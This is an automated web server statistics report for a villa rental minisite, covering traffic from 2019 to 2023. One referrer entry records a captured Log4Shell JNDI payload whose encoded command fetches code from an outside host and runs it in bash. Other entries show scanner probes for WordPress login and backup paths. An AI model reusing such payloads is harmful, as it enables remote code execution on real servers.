Web Server Statistics for amarillavilla.propertiesinparadiseaxa.com

Program started on Wed, May 31 2023 at 5:07 AM.
Analyzed requests from Sat, Apr 20 2019 at 1:30 PM to Wed, May 31 2023 at 3:38 AM (1501.59 days).

General Summary

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Figures in parentheses refer to the 7-day period ending May 31 2023 at 5:07 AM.

Successful requests: 288,335 (4,237)
Average successful requests per day: 192 (605)
Successful requests for pages: 71,782 (287)
Average successful requests for pages per day: 47 (40)
Failed requests: 77,299 (60)
Redirected requests: 88,581 (100)
Distinct files requested: 6,313 (3,481)
Distinct hosts served: 35,067 (51)
Data transferred: 14.93 gigabytes (638.19 megabytes)
Average data transferred per day: 10.18 megabytes (91.17 megabytes)

Monthly Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Each unit (+) represents 60 requests for pages or part thereof.

month#reqs#pages 
Apr 201931479++
May 20191413373+++++++
Jun 20191654380+++++++
Jul 20191383397+++++++
Aug 20191946452++++++++
Sep 20191398341++++++
Oct 20191578522+++++++++
Nov 20191900630+++++++++++
Dec 20192279678++++++++++++
    
Jan 20202495600++++++++++
Feb 20202320570++++++++++
Mar 20203621827++++++++++++++
Apr 202089001084+++++++++++++++++++
May 202094291473+++++++++++++++++++++++++
Jun 2020105731332+++++++++++++++++++++++
Jul 2020140991908++++++++++++++++++++++++++++++++
Aug 202063231667++++++++++++++++++++++++++++
Sep 202054521596+++++++++++++++++++++++++++
Oct 202058561603+++++++++++++++++++++++++++
Nov 202069211679++++++++++++++++++++++++++++
Dec 202058181994++++++++++++++++++++++++++++++++++
    
Jan 202179302133++++++++++++++++++++++++++++++++++++
Feb 202171021580+++++++++++++++++++++++++++
Mar 202155421809+++++++++++++++++++++++++++++++
Apr 202170001419++++++++++++++++++++++++
May 202153481419++++++++++++++++++++++++
Jun 202151901384++++++++++++++++++++++++
Jul 202162491917++++++++++++++++++++++++++++++++
Aug 202156761667++++++++++++++++++++++++++++
Sep 202150811545++++++++++++++++++++++++++
Oct 202152861799++++++++++++++++++++++++++++++
Nov 202161891833+++++++++++++++++++++++++++++++
Dec 202159701888++++++++++++++++++++++++++++++++
    
Jan 202269421952+++++++++++++++++++++++++++++++++
Feb 202271721952+++++++++++++++++++++++++++++++++
Mar 202268722069+++++++++++++++++++++++++++++++++++
Apr 202278042019++++++++++++++++++++++++++++++++++
May 202281572161+++++++++++++++++++++++++++++++++++++
Jun 202282532284+++++++++++++++++++++++++++++++++++++++
Jul 202285132261++++++++++++++++++++++++++++++++++++++
Aug 202276912077+++++++++++++++++++++++++++++++++++
Sep 202272071847+++++++++++++++++++++++++++++++
Oct 202267991917++++++++++++++++++++++++++++++++
Nov 202271591659++++++++++++++++++++++++++++
Dec 202271611621++++++++++++++++++++++++++++
    
Jan 202373231615+++++++++++++++++++++++++++
Feb 202349191547++++++++++++++++++++++++++
Mar 202352291653++++++++++++++++++++++++++++
Apr 202350151355+++++++++++++++++++++++
May 202378841215+++++++++++++++++++++

Busiest month: Jun 2022 (2,284 requests for pages).

Daily Summary

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Each unit (+) represents 300 requests for pages or part thereof.

day#reqs#pages 
Sun361329235+++++++++++++++++++++++++++++++
Mon4267910510++++++++++++++++++++++++++++++++++++
Tue4699610963+++++++++++++++++++++++++++++++++++++
Wed4331010530++++++++++++++++++++++++++++++++++++
Thu4135710045++++++++++++++++++++++++++++++++++
Fri4054010427+++++++++++++++++++++++++++++++++++
Sat3732110072++++++++++++++++++++++++++++++++++

Hourly Summary

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Each unit (+) represents 100 requests for pages or part thereof.

hour#reqs#pages 
0111452575++++++++++++++++++++++++++
1115302821+++++++++++++++++++++++++++++
2118472927++++++++++++++++++++++++++++++
3121062956++++++++++++++++++++++++++++++
4109932968++++++++++++++++++++++++++++++
5118243901++++++++++++++++++++++++++++++++++++++++
6112443430+++++++++++++++++++++++++++++++++++
7113663221+++++++++++++++++++++++++++++++++
8116443295+++++++++++++++++++++++++++++++++
9111332951++++++++++++++++++++++++++++++
10118973099+++++++++++++++++++++++++++++++
11116382966++++++++++++++++++++++++++++++
12113732787++++++++++++++++++++++++++++
13120722833+++++++++++++++++++++++++++++
14118552738++++++++++++++++++++++++++++
15126113606+++++++++++++++++++++++++++++++++++++
16128693082+++++++++++++++++++++++++++++++
17165652850+++++++++++++++++++++++++++++
18124932739++++++++++++++++++++++++++++
19125092792++++++++++++++++++++++++++++
20123652683+++++++++++++++++++++++++++
21122522923++++++++++++++++++++++++++++++
22117703047+++++++++++++++++++++++++++++++
23112342592++++++++++++++++++++++++++

Domain Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing domains, sorted by the amount of traffic.

#reqs%bytesdomain
288335100%[unresolved numerical addresses]

Organization Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 20 organizations by the number of requests, sorted by the number of requests.

#reqs%bytesorganization
19835 2.82%54
19183 2.89%66.249
15315 6.22%77
14738 7.08%157.55
12198 1.78%114
11841 6.36%40
11645 0.98%46
10854 7.07%207.46
7582 3.39%51
4733 1.92%34
4560 0.28%185.174
3839 0.59%131.220
3740 0.46%37
3599 0.25%185.191
3570 3.76%15
3345 1.43%35
3017 0.26%5
2581 0.25%93
2547 0.63%45
2486 3.38%13
12712748.21%[not listed: 2,439 organizations]

Redirected Referrer Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 30 referring URLs by the number of redirected requests, sorted by the number of redirected requests.

#reqsURL
377https://www.google.com/
114https://arushivilla.com/
96https://propertiesinparadise.com/forsale/index/12
91https://ceruleanvilla.com/
90https://propertiesinparadise.com/
71https://staging.propertiesinparadise.com/
71https://amarillavilla.com/
66https://google.com/
64https://www.ceruleanvilla.com/
63https://propertiesinparadise.com/forsale/index/24
57https://propertiesinparadise.com/forsale/index
46http://baidu.com/
40http://www.google.com.hk/
21https://166.62.92.95/
20https://amarillavilla.com/minisite/css/sites/amarilla.miniSitesGlobal.min.css
19https://www.propertiesinparadise.com/
18https://propertiesinparadise.com/forsale/details/70
18https://propertiesinparadise.com/forsale/details/84
18https://propertiesinparadise.com/forsale/index/36
18https://propertiesinparadise.com/forsale/details/151
14https://www.arushivilla.com/
12http://arushivilla.com/
12${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNjYuNjIuOTIuOTU6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzE2Ni42Mi45Mi45NTo0NDMpfGJhc2g=}
10https://amarillavilla.com/gallery
10http://arushivilla.com/wp-login.php
9https://propertiesinparadise.com/forsale/details/41
9https://propertiesinparadise.com/forsale/details/65
9https://propertiesinparadise.com/forsale/details/78
9https://propertiesinparadise.com/forsale/details/80
9https://propertiesinparadise.com/forsale/details/81
494[not listed: 258 URLs]

Failed Referrer Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 30 referring URLs by the number of failed requests, sorted by the number of failed requests.

#reqsURL
994https://amarillavilla.com/gallery
732http://amarillavilla.com/wp-login.php
703https://166.62.92.95/
415http://amarillavilla.com/favicon.ico
264https://google.com/
149https://www.google.com/
148https://amarillavilla.com/
144http://baidu.com/
126https://amarillavilla.com/minisite/css/sites/amarilla.miniSitesGlobal.min.css
112https://bit.ly/2TOp8jp
105http://amarillavilla.com/ads.txt
70http://amarillavilla.com/
50https://zenaidaestate.com/gallery
48http://www.virgin-islands-on-line.com/virgin-islands/viewtopic.php
41  http://www.virgin-islands-on-line.com/virgin-islands/viewtopic.php?p=251814
46https://www.bing.com/
40http://amarillavilla.com/wordpress
39http://amarillavilla.com/old
39http://amarillavilla.com/bc
39http://amarillavilla.com/bk
39http://amarillavilla.com/backup
39http://amarillavilla.com/new
39http://amarillavilla.com/wp
38http://amarillavilla.com/main
37http://166.62.92.95/
34http://www.google.com.hk/
33http://amarillavilla.com/home
33https://cloudcottageanguilla.com/gallery
32http://amarillavilla.com/_ignition/health-check/
31http://amarillavilla.com/public/_ignition/health-check/
29https://meadsbaybeachhouse.com/minisite/css/sites/beachhouse.miniSitesGlobal.min.css
917[not listed: 439 URLs]

Referring Site Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 30 referring sites by the number of requests, sorted by the number of requests.

#reqssite
102637https://amarillavilla.com/
7400https://zenaidaestate.com/
2412http://amarillavilla.com/
2061https://meadsbaybeachhouse.com/
1530https://propertiesinparadise.com/
1376https://arushivilla.com/
882https://www.google.com/
679https://indigovilla.com/
647https://cloudcottageanguilla.com/
434https://sandcastleanguilla.com/
431https://staging.propertiesinparadise.com/
426https://kishtionmeadsbay.com/
403http://166.62.92.95/
333https://santoshaestate.com/
301https://nevaehlongbay.com/
285https://lebleuvilla.com/
260https://tequilasunrisethevilla.com/
242https://beachesedgevillas.com/
238http://baidu.com/
219https://songbirdanguilla.com/
211https://villaatfrangipani.com/
90https://www.bing.com/
55http://www.google.com.hk/
53https://www.kalecizgisi.com/
52http://www.amarillavilla.com/
41https://www.amarillavilla.com/
40http://zenaidaestate.com/
40https://google.com/
18https://sucuri.net/
18https://isleblue.co/
337[not listed: 152 sites]

Browser Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 40 browsers by the number of requests for pages, sorted by the number of requests for pages.

#reqs#pagesbrowser
151775724Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)
38393839Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
35833583Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36
337193195Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
94693078Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)
20922092Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)
31631182Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
74091094Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
12421079Go-http-client/1.1
3054768ZoominfoBot (zoominfobot at zoominfo dot com)
8025681Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)
678676Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2190612Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)
613572Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
1415499Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
463463Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.27 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/601.1.27
1149449Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.92 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
429429Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)
1025416Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36 Edg/90.0.818.39
1027414Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36 Edg/90.0.818.42
1103409Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
454406Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)
1637404Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2705.45 Safari/537.36
961401Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
1002398Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
977397Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
971395Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
951391Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4427.0 Safari/537.36
961390Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
948390Mozilla/5.0 (Windows NT 6.1; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
936389Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.49
981387Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
955385Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
947384Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
930384Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
928383Mozilla/5.0 (Windows NT 6.1; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
900383Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
934381Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
952379Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
942378Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
16808632510[not listed: 2,991 browsers]

Browser Summary

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 20 browsers by the number of requests for pages, sorted by the number of requests for pages.

##reqs#pagesbrowser
114634244819Safari
 13072042627  Safari/537
 7125648  Safari/605
 6517577  Safari/604
 488470  Safari/601
 202171  Safari/534
 653126  Safari/602
 13949  Safari/600
 18744  Safari/9537
 5424  Safari/533
 6516  Safari/538
210609919620Netscape (compatible)
3138422129Firefox
 374317  Firefox/47
 298295  Firefox/81
 802204  Firefox/102
 20576  Firefox/36
 12372  Firefox/57
 64971  Firefox/60
 7669  Firefox/15
 6969  Firefox/9
 347951  Firefox/92
 28549  Firefox/52
412421079Go-http-client
 12421079  Go-http-client/1
53054768ZoominfoBot (zoominfobot at zoominfo dot com)
65464541Mozilla
 219  Mozilla/1
 11  Mozilla/0
 11  Mozilla/2
7475475Dalvik
 475475  Dalvik/2
8454406Sogou web spider
 454406  Sogou web spider/4
9870345MSIE
 29074  MSIE/7
 26164  MSIE/9
 9059  MSIE/6
 6543  MSIE/10
 4724  MSIE/8
 203  MSIE/5
 212  MSIE/11
10156156NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com
11301109netEstate NE Crawler (+http:
 301109  netEstate NE Crawler (+http://www
128282Managed SSL Firewall Checker
136868url
144747Go http package
154444Chrome
 4444  Chrome/54
167133PleskBot
1713432IonCrawl (https:
 13432  IonCrawl (https://www
182929GRequests
 2929  GRequests/0
195528Opera
 4721  Opera/9
 33  Opera/7
 32  Opera/8
 11  Opera/12
 11  Opera/6
204928webprosbot
 4928  webprosbot/2
 8339331[not listed: 117 browsers]

Operating System Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing operating systems, sorted by the number of requests for pages.

##reqs#pagesOS
19439027669Windows
 5848615037  Windows NT
 3542312355  Unknown Windows
 457266  Windows XP
 166  Windows 2000
 43  Windows Server 2003
 21  Windows CE
 11  Windows 98
 10  Windows 95
24161915020Unix
 4144214992  Linux
 16422  Other Unix
 125  BSD
 11  SunOS
39284413304OS unknown
43174210524Known robots
5265784648Macintosh
6392OS/2
711Palm OS
841Symbian OS

Status Code Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing status codes, sorted numerically.

#reqsstatus code
285425200 OK
157206 Partial content
20600301 Document moved permanently
67981302 Document found elsewhere
2753304 Not modified since last retrieval
1672400 Bad request
1401 Authentication required
6714403 Access forbidden
3405 Method not allowed
10556408 Request timeout
9834xx [Miscellaneous client/user errors]
57370500 Internal server error

File Size Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

size#reqs%bytes
04552 
1B- 10B10 
11B- 100B52791 0.02%
101B- 1kB24480 0.09%
1kB- 10kB39554 0.94%
10kB-100kB13322325.80%
100kB- 1MB3354670.99%
1MB- 10MB174 1.69%
10MB-100MB5 0.49%

File Type Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.

#reqs%bytesextension
3631061.76%.jpg [JPEG graphics]
7178216.97%[directories]
49737 8.58%.php [PHP]
28357 4.18%[no extension]
16370 4.04%.js [JavaScript code]
8488 1.47%.css [Cascading Style Sheets]
12270 1.14%.png [PNG graphics]
345 0.70%.pdf [Adobe Portable Document Format]
1977 0.37%.woff
9685 0.36%.svg
1773 0.24%.xml
51241 0.19%[not listed: 9 extensions]

Directory Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.

#reqs%bytesdirectory
4408569.97%/assets/
14949221.81%[root directory]
36943 6.06%/minisite/
5160 0.84%/forsale/
3881 0.51%/contact/
45171 0.33%/quform/
425 0.21%/js/
723 0.09%/consulting/
161 0.04%/css/
128 0.03%/availability/
163 0.03%/testimonials/
148 0.03%/rentals/
185 0.03%/news/
556 0.02%/img/
1114 [not listed: 21 directories]

Request Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing files with at least 20 requests, sorted by the number of requests.

#reqs%byteslast timefile
6597710.02%May/31/23 3:25 AM/
75 0.01%May/25/23 5:16 AM  /?47.104.136.57
62 0.01%May/24/23 5:11 AM  /?35.206.82.75
52 0.01%Jul/ 8/20 12:09 PM  /?176.58.98.226
33 0.01%Jun/28/21 12:33 PM  /?44.234.45.116
31 Apr/27/22 12:12 PM  /?207.148.10.106
29 Jan/22/21 12:09 PM  /?114.119.162.183
28 Jan/18/22 12:19 PM  /?185.183.95.105
13 Jan/ 5/21 12:14 PM  /?114.119.167.142
13 Nov/13/19 8:08 AM  /?id=24161
12 Oct/ 1/21 12:15 PM  /?35.164.15.203
11 Mar/17/22 11:57 PM  /?format=feed&type=rss
47645 0.01%May/31/23 3:30 AM/robots.txt
77 Jun/26/20 12:11 PM  /robots.txt?176.58.98.226
48 Jan/12/21 5:12 AM  /robots.txt?114.119.162.183
33 Jan/17/21 12:13 PM  /robots.txt?114.119.167.142
31 Jun/30/21 1:04 PM  /robots.txt?44.234.45.116
30 May/29/23 5:26 AM  /robots.txt?47.104.136.57
25 Jan/24/22 12:06 PM  /robots.txt?185.183.95.105
20 May/28/23 5:21 AM  /robots.txt?35.206.82.75
18 Apr/25/22 12:21 PM  /robots.txt?207.148.10.106
10 Jun/29/19 5:53 AM  /robots.txt?207.46.13.177
20323 0.07%Apr/ 7/23 2:28 PM/quform/captcha.php
16649 0.18%Mar/12/23 1:54 PM/quform/process-minisite.php
11551 8.30%Dec/ 5/22 9:24 AM/mthumb.php
38 0.03%Jul/27/20 10:20 PM  /mthumb.php?src=/assets/uploads/files/d863-housekeeping-graduation.jpg&h=586&w=950&zc=1
36 0.02%Jul/24/20 3:54 PM  /mthumb.php?src=/assets/uploads/files/ffba-pool-2.jpg&h=586&w=950&zc=1
36 0.02%Jul/27/20 7:57 PM  /mthumb.php?src=/assets/uploads/files/8f6a-felixgrad1.jpg&h=586&w=950&zc=1
35 0.02%Jul/27/20 8:24 AM  /mthumb.php?src=/assets/uploads/files/c65a-b-eweb.jpg&h=586&w=950&zc=1
35 0.02%Jul/26/20 1:44 AM  /mthumb.php?src=/assets/uploads/files/2218-01.jpg&h=586&w=950&zc=1
34 0.06%Jul/25/20 7:15 PM  /mthumb.php?src=/assets/uploads/files/4496-ariel-2.jpg&h=420&w=582&zc=1&q=100
34 0.01%Jul/27/20 3:47 PM  /mthumb.php?src=/assets/uploads/files/9a625-Villa-.jpg&h=420&w=582
34 0.02%Jul/27/20 1:57 AM  /mthumb.php?src=/assets/uploads/files/6707-charterboat.jpg&h=586&w=950&zc=1
34 0.02%Jul/20/20 1:18 PM  /mthumb.php?src=/assets/uploads/files/15ee-office-image-4.jpg&h=586&w=950&zc=1
33 0.04%Dec/ 5/22 8:42 AM  /mthumb.php?src=/assets/uploads/files/bb0f9-odyssey_villa-listing-28.jpg&h=420&w=582&zc=1&q=100
